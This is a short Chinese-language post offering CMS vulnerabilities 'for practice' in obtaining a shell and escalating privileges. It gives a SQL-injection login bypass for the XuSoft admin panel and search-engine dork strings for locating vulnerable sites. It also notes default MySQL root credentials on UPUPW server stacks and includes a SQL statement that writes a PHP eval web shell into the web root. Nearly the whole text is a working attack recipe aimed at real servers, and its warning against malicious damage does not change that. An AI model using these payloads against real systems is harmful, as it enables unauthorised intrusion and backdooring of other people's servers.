一些CMS网站系统漏洞，练手用（持续更新）

仅供拿shell，提权测试用，请勿恶意破坏

 

XuSoft系统：

后台万能密码：'or'='or'  可直接登陆，后台地址 /manage/login.asp

inurl:ReadArticlemb.asp?id=

inurl:ReadBigClassmb.asp?id=

inurl:ReadBigClassmbNews.asp?id=

 

 

UPUPW绿色服务器平台：

服务器基本上是2008，system权限

MySQL 默认用户名密码：root ，进入后台直接执行SQL语句写shell

PHP探针-UPUPW绿色服务器平台KANGLE专用版

 

©2015 WWW.UPUPW.NET 版权所有

 

sql写shell

select '<?php @eval($_POST['geeking.cc']);?>'INTO OUTFILE 'D://upupw//htdocs//gekking.php'